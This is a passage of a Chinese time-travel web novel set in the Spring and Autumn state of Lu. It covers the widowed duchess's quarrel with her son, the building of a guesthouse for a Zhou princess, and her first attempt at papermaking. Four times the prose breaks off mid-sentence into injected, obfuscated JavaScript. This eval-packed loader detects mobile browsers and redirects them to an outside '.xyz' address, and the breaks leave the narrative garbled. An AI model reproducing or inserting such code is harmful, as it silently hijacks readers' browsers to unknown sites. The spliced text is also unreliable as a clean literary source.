“你为何在此!”鲁庆脸色一变,一边挡住扑向自己的鲁牙,一边尴尬地向申需行礼告辞,“鲁庆尚有私事处理,二位大人还请先行。” 申需饶有兴致地看了看二人,回了个礼便带申豹离去。 “你如何知道我在此!”恭送二人走远之后,鲁庆连忙拉着鲁牙往回赶,一边回头训道:“说了许多次,要叫我公子庆!” “我见大哥也没守灵,猜到一定是找公子挥议事,便特意来此寻你。” “不去守灵,来此作甚,究竟何事如此急迫!”鲁庆似乎不耐烦,一直大步往前赶路。 “娘亲被夫人打入冷宫这么多天,你为何一直不去看她。”鲁牙勉强小跑才能跟上,说话已有些许小喘。 “按礼,被打入冷宫本就需禁足以示惩戒,外人又岂能随意探望!” “根据丧礼,我等晚上都需待在草庐里为父王守灵,你为何还要擅自外出。” “邾侯最近似有异动,姬夫子找我有要事相商,‘国之大事,在祀与戎’,我也是迫不得已!”鲁庆突然放缓脚步,“再者,你为君父尽孝,我为国家尽忠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529932|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你我兄弟二人能同时做到忠孝两全,岂非美谈!” “可是,置生病的母亲于不顾,又岂能言孝。” “你错了!”鲁庆闻言,停了下来,回头训道:“立身行道,扬名于后世,以显父母,这才是最大的孝!”说罢,头也不回地走了。 鲁牙忍不住深深地叹了一口气,独自回到了殡宫旁的草庐。 夜,更深了,此起彼伏的虫鸣,让寂静的冷宫显得比白天更为热闹,沉重的脚步声惊动了本就未眠的赢粲。 “谁,是鲁牙吗?” 来人并未回答,只是兀自往前走。窗下透过明亮的月光,赢粲终于看清了,来人竟然是鲁庆。 赢粲连忙一把冲上前去抱着他,亲切地问道:“庆儿,你怎么来了?”不等他回答,马上又左右看了看,确认没有异常后又继续问道:“你来这里做什么,若被那毒妇看到,会要借此贬斥你的,你快走!” 鲁庆沉默了一会,问道:“夫人那日罚你杖责二十,可有大碍?” “无妨,为娘毕竟在宫中多年,自有些帮手,再加上那毒妇声名狼藉,宫中杂役对她多有不满,只是胡乱敲打几下做做样子给那毒妇看,并未受伤,庆儿有心了。” “你那日只需帮着子氏,打击夫人名声即可,不该提及太子。目的太过明显,反而被抓到把柄,让她借此立威,站稳了脚跟,真是弄巧成拙!” “这个是为娘的错,那毒妇本来沉默寡言,每天只是在深宫里长吁短叹,没想到这次自从齐国回来之后却巧舌如簧,感觉像换了个人,难道真是被雷击后开了窍?” “以后切不可擅自行动,一切需听我指示!” “这是自然,为娘会小心的。”赢粲抬头看了看天色,一边推鲁庆走一边说道:“你快点回去吧,明日还要守丧,切不可表现出倦怠之意,以免让外人抓到你行礼不敬的把柄。还有,以后莫要再来,被毒妇知晓,定会对你暗下毒手。你弟鲁牙每天自会给我送吃食与清水,不必牵挂于我。” 赢粲站在宫门的阴影处,看着头也不回地走出殿外的儿子,沐浴在月光之下恍若仙人,目光不由得痴了。 9. 第九章 另一对母子 殡宫的青铜烛台在晨雾中泛着幽光。 江雅攥紧袖中的手帕在殡宫位子上等候,丝毫不顾素纱襦裙上的麻纹硌得手腕发红。 殿角漏窗透进的晨光里,鲁同的身影终于在青石板路上出现。素白的丧服衬得他肩背愈发单薄,腰间革带松松系着,露出半截未及修剪的穗子——这是昨日她让小度送去的新制丧服,不想竟被穿得如此潦草。 江雅连忙迎了过去,亲切地问道:“同儿,这么早就来了,怎么不多睡一会。” 鲁同随意地把手一拱,望了江雅一眼,然后眼皮一垂,就又沉默地站在原地。 “同儿,昨日…昨日我…”看着一言不发的儿子,江雅从袖中摸出锦盒,鎏金牡丹纹在晨光里泛着温润的光,“娘亲带了你小时候最爱吃的饴糖。”盒盖掀开的刹那,麦芽的甜香混着陈皮的辛香漫出来,那是她特意让庖人熬的,连糖纸上的缠枝纹都与当年宫中小厨房的分毫不差。 鲁同闻言面无表情,垂在身侧的手却骤然攥紧,嘴里蹦出的字眼冷若冰霜:“为父亲守丧期间,每日饮食不得超过一升米,讲究的是‘致齐于内,散齐于外’,更别说吃糖了。” 江雅大感尴尬,连忙把糖又收了起来,随即说道:“同儿,昨日跟随公子纠来的那个人有经天纬地之才,娘亲准备重用他,所以多看了两眼,你别多想。” 鲁同仍旧垂着眼皮,似乎在认真研究脚上的草鞋究竟打了几个结。 看着儿子这副要死不活地样子,江雅忍不住有点抓狂,连日的憋屈使得她终于爆发出来:“你不说话究竟是何用意!是不相信管仲是个治国奇才?还是我要重用他没跟你这个太子商量,你心生不满?还是觉得我这个娘亲反正臭名昭著了,乱看别的男人也无所谓?” 鲁同似乎有点诧异江雅的爆发,但还是忍不住嘲讽道:“听闻管仲有一个挚友,叫鲍叔牙,两个人一起做生意赚了钱,管仲经常给自己多拿几份;鲍叔牙多次遇到困难请求管仲帮忙出谋划策,他却总是害得鲍叔牙失败地更加彻底;管仲曾多次参加齐国军队作战,却每次都是战败并且逃跑,这…”鲁同说着,将腰带上那半截未及修剪的穗子用力扯断,然后用嘴轻轻一吹,“这就是你说的治国奇才?人品如此不堪,你看人才的标准还真是别具一格呀!莫不是物以类聚?还是说,准备将这副好皮囊收入帐中做面首?” “你!你怎敢如此说我!”江雅大怒,用力抓住他的手腕。 “别人说得,我说不得?”鲁同直视着她,嘴角泛起一丝微笑。 “我可是你娘亲!”江雅挥手狠狠地甩了鲁同一个耳光,她的手掌止不住地颤抖,而鲁同的侧脸已泛起红痕。 “娘亲?!”鲁同回过头来,倔强的眼中没有泪光,却充满着怨恨,“凭什么!你不过就是把我生下来,你可曾管过我半点死活?自七岁记事以后,每次我扑向你,你都是无情地把我推开!你望我的眼神,便像望父亲一般,充满着怨恨。” “我本以为是自己做错了什么,后来听你的宫人无意中说起,原来是因为你发现我长得像父亲!哼!因为孩子长得像父亲,就把孩子无情地推开?这是什么狗屁道理!” “未曾想到的是,你还真有道理!更令人意想不到的是,这理由竟然是——你恨父亲拆散了你和齐侯!” “你可知道,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529933|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲的灵柩回国之时,我是什么感受!你知道吗!” “你可知道,那个从小陪我玩耍、教我读书、带我射箭的父亲再也回不来了!在我最需要安慰,最需要帮助的时候你在何处?你在齐国待了一个月才回来!你知道我这一个月是怎么过的吗!” “你可知道,外面人都说是你勾引齐侯害死父亲!他们甚至还说,”他忽然顿住,眼中泛起血丝,声音已然嘶哑,“还说我是你和齐侯私会生下的野种!” “娘亲?你也配!从父亲去世那日起,你便该明白——”鲁同惨然一笑,“这世上,再无喊你‘娘亲''的人了。” 江雅内心忽然涌上一阵强烈的悔恨、惭愧、自责与无助,她慢慢滑坐在地,指尖抠进砖缝,之前的饴糖不慎滑落出来。 鲁同上前一脚把饴糖踩得粉碎,“我小时候的确很喜欢吃饴糖,因为那是你留给我唯一美好的回忆。不过,自从七岁生辰之后,我就不再喜欢吃饴糖了,你可知为何?” 鲁同回转身背向江雅,轻声说道:“因为宗人告诉我,那饴糖熬制的方子,是齐侯所赠!” “同儿,你听我说…”江雅跪行向前,想抓住儿子的手,鲁同却早已甩手离去。 望着儿子离去的背影,江雅慢慢蜷起身子,抱住自己,终于哭出声来。 殡宫外,鲁同站在棠梨树下,望着掌心被指甲攥出的血迹,风掠过他的发梢,带来殡宫里隐隐的啜泣声。他闭上眼睛,脑海里忍不住浮现出童年的记忆。 “父亲,”他低声呢喃,“孩儿究竟该如何自处?” 又是一阵风吹过,扬起棠梨树来回摇摆,似也不知该如何回答。 10. 第十章 初唤母亲 寝宫墙面浸染着胭脂色的晚霞,池面的莲叶也被镀上了金边,一朵半开的粉莲在夕照中舒展,像美人慵懒地睁开眼。暗红色的蜻蜓收拢琉璃似的翅翼,栖在卷边的荷叶上,将影子斜斜投在粼粼波光里。 小度匆匆的脚步声惊起这抹绛红,蜻蜓振翅掠过水面,翅膀被夕阳烧得透亮,朝着熔金般的落日飞去,只留下层层叠叠的涟漪,晕开满池碎金。 走到门前,小度犹豫了一下,却还是依旧敲了敲门,轻声唤道:“夫人,夫人。” 眼见得屋内没有反应,小度不禁将声音提高:“夫人,夫人,每日的哭祭你已经缺席两天了,宗伯施大人派人前来,请你明天务必出席。” “知道了。”屋内终于传来江雅慵懒的声音。 到底是接收了原宿主的所有记忆与情感,在和鲁同吵架之后,以江雅大大咧咧的性格,一时间也不知该如何面对这位实际上的儿子,便在寝宫内躺了两天。 虽说是独居静处,但那天与儿子发生冲突的情景仍不时浮现在脑海,一股挥之不去的烦躁萦绕心头。 打鲁同时的冲动,及之后的悔恨、哭泣,并不符合自己原来的性格,可当这些滚烫的情绪从心底翻涌而出时,江雅忽然懂得了,这就是融在血脉里名叫“母亲”的宿命。 靠,看来不把太子收服了,原宿主是不会让我好过的吧! 头枕双手的江雅烦躁地翻了个身,门外忽然又传来另一股陌生的声音,“夫人,我可以进来么?” 江雅起身打开门一看,原来是风娈,五岁的鲁友左手拉着娘亲,右手捏着一朵盛开的白莲,小度站在后面,满眼关切。 看到江雅,鲁友把白莲举到她眼前:“夫人闻闻,这莲花可香了!娘亲说,这香味还有宁心安神,缓解情绪的功效,可神奇了!这是我在来的路上特意摘的,摘的时候有只小青蛙跳出来,可有意思了!” 风娈爱怜地看着鲁友,然后抬头说道:“夫人,整日闷在房里对身子不好,现在晚风清凉,不如去散散步可好?” 江雅虽然是外向的性格,但因为心情并不美丽,刚想婉拒,没想到鲁友忽然放开母亲,拉着江雅就要往外走。感受着肉嘟嘟的小手,江雅的心不由得一下子就柔和了,由着这小布丁拉着自己往荷花池走去。 清风徐来,江雅缓缓地在池边小路上踱步,鲁友独自跑在前面追赶着蜻蜓,风娈和小度微微落后跟着。虽然已猜到他们过来的目的,但江雅也并不开口询问,只是看着不时地发出欢笑的鲁友,享受着这难得的宁静。 “娘亲,我要摘片荷叶做雨伞!”鲁友忽然停住,用力地拽下一朵硕大的荷叶,“为什么这荷杆上这么多丝丝呀!” “这叫藕断丝连,”风娈别有深意地望着江雅,指尖轻抚过荷叶边缘细密的绒毛,“就像这荷塘底下的莲藕,看着断成两截,丝丝缕缕却总也扯不断。” 鲁友似懂非懂地点点头,看着翠绿的荷叶中几滴素白的水珠滚来滚去,又开心地玩了起来。 江雅有心岔开话题,开口问风娈:“为什么友儿会取名叫‘友’?” “因为友儿出生时,掌心的纹路像一个‘友’字,所以夫君给他取名叫‘友’。” “我怎么感觉友儿天真烂漫,一点也不似鲁庆他们那么…呃…少年老成。”江雅努力地把‘野心勃勃’咽了回去。 “我只是想友儿能健健康康、快快乐乐地长大,其它的东西,都是命中注定的,不用过于强求,所以养成了他这自由散漫的样子。” 江雅忍不住在心里给风娈点了个赞,不鸡娃的好家长啊!这不会也是穿越来的躺平家长吧,在后世的时候,多少小孩子三、四岁就要开始上钢琴、外语等才艺班了,就算是古代,也要开始学诗经和礼仪了吧,难得有鲁友这么天真的孩子。 “要是同儿也能像他这样该多好啊!”江雅情不自禁地感叹。 “太子是国之储君,将来是要治理国家的,自然需要多才多艺,”风娈偷偷看了江雅一眼,“我们做娘亲的,自然是希望孩子能德才兼备,只是他们毕竟年幼,有些道理还不太懂,一时的激愤之语,不必过于介怀。” 眼看江雅并没有出言打断,风娈便继续说道:“夫人连日缺席哭祭,朝廷诸位大夫已颇有微词,太子也已有后悔之色,还请夫人以国事为重。” “好的,明日我会按时出席。” 得到了肯定的回复,风娈和小度明显松了口气,脚步似受了鲁友的感染,也逐渐轻快起来。 暮色将池塘浸染成鎏金色,风娈怀中的鲁友已打起了小呼噜,睫毛上还沾着未干的笑泪。小度提着灯笼立在三步开外,暖黄光晕里,白莲的瓣尖垂落一滴露珠,“嗒” 地坠入水中,惊起满池碎金般的涟漪。 翌日,例行的哭祭结束,申需起身说道:“启禀太子,天子准备与齐侯联姻,特派单伯送王姬前来,不日即到我国境内。依据周礼,我们鲁国作为主婚国,是需要国君亲自出面迎接的。” “我尚在为父亲守丧,岂能又身着吉服举行主婚礼。”鲁同看了看自己这身丧服,摇了摇头。 申需心里暗乐,等的就是你这句话,急忙回道:“我鲁国乃周公之后,岂能失礼于人。如今王室暗弱,若连我鲁国都怠慢天子,只怕诸侯将以我为口实而更加藐视礼法;而且天子与齐侯联姻,我鲁国夹在中间,若天子授齐侯以讨伐之权,只怕我鲁国将难以招架,不如…” “不如怎样?” “夫人乃是小君,又是齐国女子,王姬嫁给齐侯之后…”申需突然别有深意地望了江雅一眼,“与夫人便是姑嫂关系,接待王姬事宜,让夫人主持再合适不过。” 江雅正听的迷迷糊糊,忽然吃瓜吃到自己家,大惊之下刚想拒绝,转念又想到正好可以避开与太子目前的尴尬处境,于是准备欣然接受,却见展禽愤然出声:“不可!夫人乃一介女流,岂能代表国君主政!” 歪歪歪,展禽同学,你到底是哪边的啊!半路杀出来的程咬金也不是杀自己人啊!再说了,女人怎么啦,你不是女人生出来的么,要是给你看到一代女皇武则天的故事,岂不是要惊掉你的下巴! 江雅正愤愤不平,却见展禽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529934|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着说道:“王姬出嫁,诸侯当亲迎。如若齐侯亲自前来迎接王姬,国君灵位当如何自处!” 霎时间,宫内所有目光又齐刷刷地望向江雅,江雅倍感压力山大,却不得不坐直了身子,正视前方,以示内心无愧。 “无妨,”申需缓缓摇头,“齐侯一向乖戾,天子与其联姻,本属一厢情愿,齐侯至今为止尚未派人前来与我商谈迎亲事宜,即为明证。不过,吉凶不同礼,还是在国都外另建馆驿,以作王姬接待之处,更为妥当。” 妙极了!还可以出城玩耍!终于不用面对这些糟老头子以及无聊至极的守丧礼了,哦耶! 江雅暗自高兴间却见臧达也来凑热闹,“王姬既已出发,宾馆还需尽快落成才是,而夫人从未参与宫殿营造事宜,只怕工程进度过缓,王姬一到却无下榻之处,反成我国怠慢之处。” 江雅又是一阵烦躁:不是吧老臧,就因为我回国都后没有去拜码头,你也给我来使绊子?至于嘛你! 姬挥终于出面,“夫人只是代表国君监造施工,表示我国对此事郑重的态度,既不需指挥工匠,也无需调动资源,一切施工事宜,皆有司马主持,工程进度不用太过担心。只是…”姬挥说着转向江雅行了一礼,“只是毕竟需要现场坐镇,如今正值夏日酷暑,还需夫人多多忍耐。” 正所谓请将不如激将,姬挥此番说辞一出,江雅顺势表态:“为国出力乃是分内之事,休说酷暑难当,就算是刀山火海,只要能与国谋利,我也在所不辞!” 眼见江雅变现的如此刚烈,鲁同郑重地向江雅一拜:“如此,就劳烦…”鲁同忽然一顿,继续说道:“就劳烦母亲出城负责王姬馆驿建造及接待事宜。” “诺!” 江雅心中暗爽:小兔崽子终于开口叫我了,不容易啊! 事情已定,众人开始逐渐散去。臧达踩了一下展禽的鞋后跟,展禽立刻会意,跟上了江雅。 看着跟着自己的二人,江雅再笨也知道找自己有事,开口问道:“展禽,刚才在殡宫里你和臧夫子为何要出言阻止我去营建馆驿。” “夫人,展禽刚才所说有理,万一齐侯真的前来,你要如何自处?” 臧达却是接过话头。 想起那个和亲妹妹乱搞并且杀弟弟不眨眼的变态,江雅心里一阵恶寒,“唔,此事请夫子放心,我已发誓同齐侯划清界限,如若他真敢亲自前来,那么说不得,我也就亲手了结了他,你们再像齐侯杀公子彭生一样,把我杀了做交代就是。”万一我又可以借此再穿越回去呢,江雅内心又打起了小九九。 “夫人言重了!”臧达和展禽对视一眼,明显放心不少。“不过,姬挥一向老谋深算,此番接待王姬事宜,是与周王室及齐国拉拢关系的大好时机,却交予了夫人,似留有后手,还需小心才是。” “身正不怕影子斜,姬挥纵有阴谋诡计又能奈我何!只是…”终究是带着原身的记忆,江雅还是郑重地向臧达、展禽行了一礼,“只是太子幼弱,还需二位扶持。” 二人也是郑重回礼,“请夫人放心!我等必护太子周全!” 11. 第十一章 王姬到来 蝉鸣初躁。 晨露未晞的树冠间,十二乘玄色辎车迤逦而行,宛如一条黑色的长龙。最中央那乘车舆覆着丹纱帷幔,四角悬着鸾铃,车行时叮咚声混着马蹄踏碎露珠的轻响,惊起道旁栖雀。 日头渐高,车队在此起彼伏的蝉鸣中渐行渐远。 “公主,前方便是泗水支流。”驾车的侍卫低声提醒。 一只素白绣百合纹的衣袖伸出,掀起车帘:“且停片刻,让车马及众人饮水。”清润如泉的声音漫出,给燥人的暑气添了丝清凉。 待车舆停稳,丹纱帷幔被白玉钩勾起,露出车内半幅景象:一名全身素白的女子半倚着凭几,看年纪约莫十八九岁,一头乌黑发亮的头发用青玉簪松松绾起,膝上摊开一副竹简,隐约可见《易》的篇目,行间可看到“初六,履霜坚冰至”被单独圈了起来。 只见前方的马车下来一名男子,快步走了过来,刚准备行礼,她忙搁下竹简扶住对方:“单伯莫要多礼,这日头晒得人发昏,你快去树荫下歇息。” “公主万金之躯,礼不可废…”名唤单伯的男子眼眶微热,示意边上的侍女将随身的青铜水壶拿出来,“公主,暑气难当,这是早上出发时候做的酸梅汤,一直用井水冰着,快饮些解暑”。 “我在车里并不觉热,这些解暑的冰水,你拿去给驾车及随行的众位侍卫们吧,他们驾车辛苦,比我更需要。”女子唇角扬起温软笑意,随手捧起竹简,腕间玉镯随动作轻晃,“我看些竹简,便可解暑啦!” 单伯闻言,只好将水壶递给旁边的侍卫,侍卫一脸感激地接过,小心地捧着去分给众人。 “公主,从宗周至齐,路途遥远,又何苦带着这些笨重的竹简。”单伯看着女子手中的竹简,边角已被磨得光滑,忍不住劝道。 “正因路途遥远,所以才带着聊以解闷。只可惜,竹简太过笨重,无法携带更多;藏室的帛书太过贵重,王兄又不肯给我。” 二人说话间,一名侍卫跑过来,表示发现了情况:“启禀单伯,前方发现一名老翁倒在路边,可能是中暑了。” “我们随身的药物不多,不便救治,把他扶到树荫下歇息吧,他的家人应该就在附近不远,等下自然会过来找他。”单伯显然不想多管闲事。 女子闻言却是不肯,“普天之下,莫非王土;率土之滨,莫非王臣。九州之内,皆是我周王室的子民,岂可见死不救。”说着指了指车上的暗格,旁边的侍女连忙从里面拿出一个锦盒,“这是出发前,王兄给我的解暑药物,可治神昏惊厥,你快去拿给那名老翁服下。” 看着眼神坚定的女子,单伯不由得叹了口气,无奈地接过药物。那名老翁已被侍卫转移到不远处的树荫下,女子也跟上前来看望情况。 老翁虽然昏厥,但还是发出轻微的呻吟。单伯扶起老翁,将药丸合水给他送下,不一会儿,老翁长吁一口气,睁开了眼睛。 看到身旁围着这么多人,面前又站着一位衣着华贵的女子,老翁瞬间明白了情况,连忙跪下磕头道谢。 “今年少雨,眼见得地里杂草又众多,为了保证收成,小老儿和家人不由得过来抢着除草浇水,没想到年迈体衰、身体不适。本想回去找些药草,却不料在路上昏了过去,多谢各位救助!” 单伯眼看老翁已无大碍,便又拿了些食物和装满水的水壶,打发他离去。 女子不禁问道:“单伯不是不想多管闲事吗,怎么还好心给他吃食。” “那名老翁吃了公主的药丸,并未多久便已苏醒,疗效如此神奇,其贵重自是不待多言。公主宅心仁厚,如此贵重的药物随手给了出去,我又岂能敝帚自珍。” 女子闻言不禁莞尔一笑。 单伯望了望风向,“公主,照此行进速度,再有五日,即可到达曲阜。据信使回报,鲁侯暴薨,太子正在国都守丧,已安排鲁侯夫人在郊外营建馆驿以迎接我等。听闻鲁夫人背负弑夫的骂名,回到国都后在殡宫还掀起了一阵狂风暴雨。此番鲁国安排鲁夫人迎接我等,不知有何居心啊。” “听闻鲁夫人在齐国为天雷所击中,大难不死后性情大变,迅速与齐侯断绝了关系,并毅然返回国都,接受众位大夫们的审问。仅是面对困难的这份勇气,就令人钦佩不已。”女子说着,也望向曲阜的方向,“我倒是有点期待与这鲁夫人的会面了呢!” 不远处的泗水支流忽然飞过一只蜻蜓,在水面上轻轻一点,又继续飞往了前方未知的世界。 与此同时,鲁国,王姬馆驿营建工地。 江雅靠着一棵树,盯着眼前飞来飞去的蜻蜓,不由想起小时候学的《小猫钓鱼》的课文,心中想着要不要做一个网子去把它网下来。 不远处的工地,却是热火朝天。 二十名精壮工匠正合力抬起一根合抱粗的梓木,准备安装主殿的中柱。梓木表面已用砂纸打磨得光滑如镜,靠近根部的位置刻着浅浮雕的双凤纹,那是鲁国工匠特意为王室联姻设计的吉祥纹样。 “禀夫人”,工正任明走向前来,手中握着的青铜规尺在阳光下泛着冷光,“有赖夫人坐镇,及众位工人用心,进度有所提前,再有三日,馆驿即可完工。” “我哪有什么作用,自己几斤几两还是知道的。”江雅闻言从沉思中醒来,摆摆手,“还是靠你指挥有方,各位工人也都辛苦了!小度,再去把我的冰镇酸梅汤都拿些过来,给诸位大人解暑。”江雅抹了一下额上的汗,想着要是有个冰西瓜,那该有多爽。 “夫人,”小度委屈巴巴地回道:“国君目前还在停丧,棺椁需要大量的冰块,宫内的冰块都用的差不多了。臧夫子好不容易安排匀了一些过来给你解暑,你却都给工人们用了,看你额上的汗,夫人也要爱惜一下自己的身体才是!” “啊?就用完了?”江雅抹了一下额上的汗,“那放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529935|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉了的酸梅汤,总该有吧。” “夫人!今年入春以来,一直少雨,青梅产量本就不多,用作祭祀还嫌少,就前面几天给工人喝的那些,”小度说着,生气地嘟了一下嘴,“臧夫子派人送来的时候,千叮咛万嘱咐一定要给夫人,结果还是…” 江雅满不在乎地回道:“啊?这么少吗?那还有什么解暑的汤药,也都一并拿过来些。” “夫人!”任明感激地行礼,“夫人礼贤下士,与我等同吃同住,众位工人都是感激在心,故此工程进度才大大提前,如今馆驿已快完工,夫人是否前去检阅一二?” “也对,那就麻烦任大人了。”想起来到工地这么多天,还一直没有到现场查看,都是站在这树下远远地望着,江雅不由得也有点不好意思了,连忙跟着任明往前走去。 “夫人请看,这馆驿的方位都暗合二十八宿,主殿坐落在''角宿''方位,取''角为天门''之意,王姬的寝殿在正北居中,内室的屏风用的是鲁国特产的鲁缟,上面绣着《关雎》的纹样,是公室的女御们连夜赶制的。” “嗯嗯,不错,不错!”江雅像个好奇宝宝,四处观望,不时点头。 “此次馆驿营建,一切都是按夫人嘱咐的宗旨来办,既未失了王室的威严,亦不能让齐国觉得我们谄媚。馆驿的一砖一瓦,都要让天下人知道,我们鲁国的礼仪,是刻在骨子里的!”任明满脸自豪地介绍。 江雅却是心里偷偷抹汗,自己只是随口一讲,没想到他们就当了真,而且干的还真不赖,难怪都说领导好当,这五彩斑斓的黑都被他们弄出来了。 “咦,这是什么?”江雅指着地上的白色土好奇地问道,正准备用手去摸。 “夫人小心!这是白垩土,不小心弄到身上,吸了汗水会灼伤的!” “哦,看起来像石灰呀!有什么用?” “白垩土可以用来夯实地基,还可以吸潮。” 看来真的是石灰了,没想到春秋的时候就有石灰了,看来毛主席说得对,劳动人民的智慧是无穷的呀! 有了石灰,就可以做水泥了吗?有了水泥,再弄点钢筋,把我们鲁国的城墙修的又高又硬,还怕什么齐国呀! 欸,话说水泥怎么做的来着?钢筋是铁做的吧,铁是哪来的呢?看那些工人用的斧头的颜色,怕是青铜的吧。作孽哟,要是拿到后世,这把青铜斧怕是能换一套北京四合院吧!不过,买卖青铜器是犯法的吧,会不会被抓起来枪毙呀,还是算了算了。 看着陷入沉思的江雅,熟悉她的小度苦笑地摇摇头,然后拉着任明悄悄地离去。 对二人离去浑然不知的江雅,仍然陷在无尽的YY当中:幻想着突然激发一个系统,自己来回穿越倒腾文物,不断积累资金,然后开公司、炒地皮,成为万人敬仰的白富美,不由咧嘴傻笑起来。 边上的蝉鸣忽然静了下来,似乎也不忍打扰她的美梦。 12. 第十二章 造纸术 一路颠簸,王姬周琼正靠在凭几上闭目养神,窗外隐约传来丝竹弦乐,马车随即停下,单伯的声音穿过帷幔:“公主,鲁郊已至。” 车帘掀起,一群人迎了上来,显然已恭候多时。 只见为首的女子,一头乌发仅用一根未经雕琢的木笄草草固定,几缕发丝垂落在白皙的颈边,面颊略显苍白而消瘦,却显得眼睛格外有神,顾盼间似有一丝狡黠流转。宽大的丧服垂落,几乎盖住了她的双手,腰间束着的麻制腰带,粗糙而紧实,在这肃穆的丧服映衬下,更添几分成熟女子历经世事的独特韵味。 想必,这位便是传闻中的鲁夫人了。周琼心里暗想。 “周使远临,鲁邦之荣!寡君使展禽,劳玉趾于郊!”却是女子边上的一个中年男子率先开口,然后示意边上的侍从上前,奉上准备已久的束帛。 “天子遣姬归齐,以固甥舅。叨扰鲁邦,敢不趋拜?”单伯连忙上去接过。 两人你来我回,持续着繁琐的礼仪,但二位正主却是一动不动——周琼一直好奇地盯着江雅看个不停。 江雅被看得心里发毛。 奶奶个熊!就算是我有闭月羞花之貌,沉鱼落雁之容,花见花开,人见人爱,但是也没必要一直盯着我看吧,我只喜欢小鲜肉啊魂淡!古代就有百合了么,真变态!还嫁给齐侯那个死变态,这下可好,卧龙遇上凤雏,齐活了! 江雅瞬间就对周琼有了不好的印象。 这展禽也真是的,赶紧把馆驿交出去就完事了呗,一直磨磨蹭蹭的!臧老头也真是的,怕我不懂礼仪就把我叫回去呗,又不让人家走,又要派展禽来,烦死了! 繁琐的礼仪终于接近尾声,周琼走上前来,对江雅表示感谢,江雅也展示了现代人脸上笑嘻嘻,心里MMP的职业素养,完美应答。 身后,王姬车队的侍卫正抬着一筐竹简往馆驿走去,周琼招呼了一声:“小心一点,别碰坏了。” 江雅随口一问:“什么东西?” “这是一些我从王兄那要来的竹简,路上聊以解闷。” “怎么不用书呢?” 江雅刚一说完,突然就想给自己一巴掌。春秋的时候,哪来的纸张做书。自己这心直口快,讲话不经大脑的毛病真是要命,难怪臧老头会放心不下我。 “夫人说的可是帛书?帛书太过于贵重,王兄自是不肯借我,不过,”周琼饶有兴趣地看着江雅,“看夫人说的如此轻松,想必说的不是帛书吧,却不知是何种物件,也能用来记载文字吗?” “这…”江雅看着周琼发亮的眼睛,知道不好糊弄,便老实交代:“呃,夫君有次托梦给我,说可以用树皮、烂渔网之类的麻布造纸,然后装订成书,记载文字,可使先人之道,广为传播。” “真的吗!我早就嫌弃竹简过于笨重,阅读起来甚是不便,而帛书又太过于贵重,无法大面积推广,”周琼惊喜之色溢于言表,不自觉地拉着江雅的手,兴奋地继续问道:“夫人可有实物?” “呃,暂时没有,不过…”江雅不动声色地把周琼的手撇开,“不过,只需几天的工夫,便可弄出少量的样品来。” “如此,还请夫人不吝赐教!”周琼郑重一拜。 江雅无奈,挥手把任明招了上来,如此这般地吩咐了一番。任明听了个半懂不懂,摸着脑袋缓缓离去。 唉,自己一时口快吹的牛皮,希望别吹破了。 翌日,江雅一大早就来到匠人们的工棚,恭候多时的任明立即迎了上去。 “昨天跟你说的东西,可曾备齐了?” “楮树皮、破布、破渔网、白垩土,都在这里了。” “那就开始吧。”江雅挽起袖子,就准备开始。任明却是一把抢过材料,“夫人万金之躯,这等粗活,自然是由我们来。”说完,还示意边上的闲杂人等都散开。 “为什么都把人赶走?人多力量大,干起来活来就快啊。” “虽然不知夫人要做的是何物,但肯定非同一般,所以您昨天婉拒王姬的参观,为的就是保护技艺不外泄吧。” “呃…任大人你看起来高高大大,没想到观察还这么细致,不愧是匠人世家!”江雅拍了拍任明肩膀,内心却忍不住吐槽:自己只是单纯的想离那个百合远点,没想到被揣测成这样了,唉,这就是权力的滋味呀! 江雅摇了摇头,一挥手,开干! 感谢短视频文化的推广,没什么文化的江雅,平时却喜欢刷一些传统文化的小视频,什么胭脂肥皂、炼丹制药、冶铁炼钢、造纸印刷之类的穿越必备技能统统看了个遍,没想到还真派上了用场。 